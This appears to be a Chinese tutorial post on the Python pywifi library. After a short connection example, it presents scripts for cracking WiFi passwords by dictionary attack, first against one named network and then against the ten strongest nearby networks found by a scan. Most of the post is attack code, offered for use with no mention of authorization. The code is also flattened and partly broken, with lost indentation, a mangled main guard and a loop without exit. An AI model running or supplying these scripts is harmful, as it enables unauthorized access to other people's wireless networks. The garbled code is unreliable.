image

0x01 Pywifi模块简单介绍

用一个连WIFI的栗子，概括他的大概用法吧...

[Python]

-- coding: UTF-8 --

import pywifi

from pywifi import const #引用一些定义

profile = pywifi.Profile() #创建wifi连接文件

profile.ssid = '*****' #定义wifissid

profile.auth = const.AUTH_ALG_OPEN #网卡的开放

profile.akm.append(const.AKM_TYPE_WPA2PSK) #wifi加密算法

profile.cipher = const.CIPHER_TYPE_CCMP #加密单元

profile.key = '*****' #wifi密码

wifi = pywifi.PyWiFi() #抓取网卡接口

iface = wifi.interfaces()[0] #获取网卡

image

profile = iface.add_network_profile(profile) #加载配置文件

iface.connect(profile) #连接wifi

image

0x02 WIFI破解

一、对单一的目标破解

也许没表达对，我的意思呢，就是只对一个目标进行破解........

[Python]

-- coding: UTF-8 --

import pywifi

from pywifi import const #引用一些定义

import time

def testwifi(password):

wifi=pywifi.PyWiFi()#抓取网卡接口

ifaces=wifi.interfaces()[0]#获取网卡

ifaces.disconnect()#断开无限网卡连接

profile=pywifi.Profile()#创建wifi连接文件

profile.ssid="*******"#定义wifissid

profile.auth=const.AUTH_ALG_OPEN#网卡的开放

profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法

profile.cipher=const.CIPHER_TYPE_CCMP##加密单元

profile.key=password #wifi密码

ifaces.remove_all_network_profiles()#删除其他所有配置文件

tmp_profile=ifaces.add_network_profile(profile)#加载配置文件

ifaces.connect(tmp_profile)#连接wifi

time.sleep(5)#5秒内能否连接上

if ifaces.status()==const.IFACE_CONNECTED:

print "[-]WiFi connection success!"

else:

print "[-]WiFi connection failure!"

ifaces.disconnect()#断开连接

time.sleep(1)

return True

def main():

print " ____ _ __ _____ _____ ___ "

print " / __| __ __ _ __| | _ / / _| __| _|"

print "| | | '__/ _` |/ _| |/ / / / / | || | | | "

print "| || | | (| | (| < V V / | || _| | | "

print " ____|| ,|||_ // ||| |_|"

path=r"password.txt"

files=open(path,'r')

while True:

f=files.readline()

if not f:

break

f = f[:-1]

testwifi(f)

print "[-]Current password:",f

files.close()

if name == 'main':

main()

image

二、实现对附近WiFi扫描并破解目标：扫描信号前十的WIFI并实现破解

image

分步实现吧，先实现抓取ssidname，然后在加上信号强度

[Python]

-- coding: UTF-8 --

import pywifi

from pywifi import const #引用一些定义

def getwifi():

wifi=pywifi.PyWiFi()#抓取网卡接口

ifaces=wifi.interfaces()[0]#获取网卡

ifaces.scan()

bessis = ifaces.scan_results()

list = []

for data in bessis:

list.append((data.ssid, data.signal))

return len(list), sorted(list, key=lambda st: st[1], reverse=True)

if name == 'main':

print getwifi()

然后是通过信号强度实现排序，进入top10会进行后续的破解工作...

[Python]

-- coding: UTF-8 --

import pywifi

from pywifi import const #引用一些定义

import time

def getwifi():

wifi=pywifi.PyWiFi()#抓取网卡接口

ifaces=wifi.interfaces()[0]#获取网卡

ifaces.scan()

bessis = ifaces.scan_results()

list = []

for data in bessis:

list.append((data.ssid, data.signal))

return len(list), sorted(list, key=lambda st: st[1], reverse=True)

def getsignal():

while True:

n, data = getwifi()

time.sleep(1)

if n is not 0:

return data[0:10]

if name == 'main':

print getsignal()

排完序之后，就是把信号强度去掉，然后获取ssidname

[Python]

-- coding: UTF-8 --

import pywifi

from pywifi import const #引用一些定义

import time

def getwifi():

wifi=pywifi.PyWiFi()#抓取网卡接口

ifaces=wifi.interfaces()[0]#获取网卡

ifaces.scan()

bessis = ifaces.scan_results()

list = []

for data in bessis:

list.append((data.ssid, data.signal))

return len(list), sorted(list, key=lambda st: st[1], reverse=True)

def getsignal():

while True:

n, data = getwifi()

time.sleep(1)

if n is not 0:

return data[0:10]

def ssidnamelist():

ssidlist = getsignal()

namelist = []

for item in ssidlist:

namelist.append(item[0])

return namelist

if name == 'main':

print ssidnamelist()

之后，就是上面对单个wifi破解的套路了，只需稍微改一下，直接贴代码了

[Python] 纯文本查看 复制代码

-- coding: UTF-8 --

import pywifi

from pywifi import const #引用一些定义

import time

def getwifi():

wifi=pywifi.PyWiFi()#抓取网卡接口

ifaces=wifi.interfaces()[0]#获取网卡

ifaces.scan()

bessis = ifaces.scan_results()

list = []

for data in bessis:

list.append((data.ssid, data.signal))

return len(list), sorted(list, key=lambda st: st[1], reverse=True)

def getsignal():

while True:

n, data = getwifi()

time.sleep(1)

if n is not 0:

return data[0:10]

def ssidnamelist():

ssidlist = getsignal()

namelist = []

for item in ssidlist:

namelist.append(item[0])

return namelist

def testwifi(ssidname,password):

wifi=pywifi.PyWiFi()#抓取网卡接口

ifaces=wifi.interfaces()[0]#获取网卡

ifaces.disconnect()#断开无限网卡连接

profile=pywifi.Profile()#创建wifi连接文件

profile.ssid=ssidname#定义wifissid

profile.auth=const.AUTH_ALG_OPEN#网卡的开放

profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法

profile.cipher=const.CIPHER_TYPE_CCMP##加密单元

profile.key=password #wifi密码

ifaces.remove_all_network_profiles()#删除其他所有配置文件

tmp_profile=ifaces.add_network_profile(profile)#加载配置文件

ifaces.connect(tmp_profile)#连接wifi

time.sleep(5)#5秒内能否连接上

if ifaces.status()==const.IFACE_CONNECTED:

print "[-]WiFi connection success!"

else:

print "[-]WiFi connection failure!"

ifaces.disconnect()#断开连接

time.sleep(1)

return True

def main():

print " ____ _ __ _____ _____ ___ "

print " / __| __ __ _ __| | _ / / _| __| _|"

print "| | | '__/ _` |/ _| |/ / / / / | || | | | "

print "| || | | (| | (| < V V / | || _| | | "

print " ____|| ,|||_ // ||| |_|"

path=r"password.txt"

files=open(path,'r')

while True:

f=files.readline()

for ssidname in ssidnamelist():

ret=testwifi(ssidname,f)

print 'Current WIFIname:',ssidname

print 'Current password:',f

files.close()

if name == 'main':

main()

image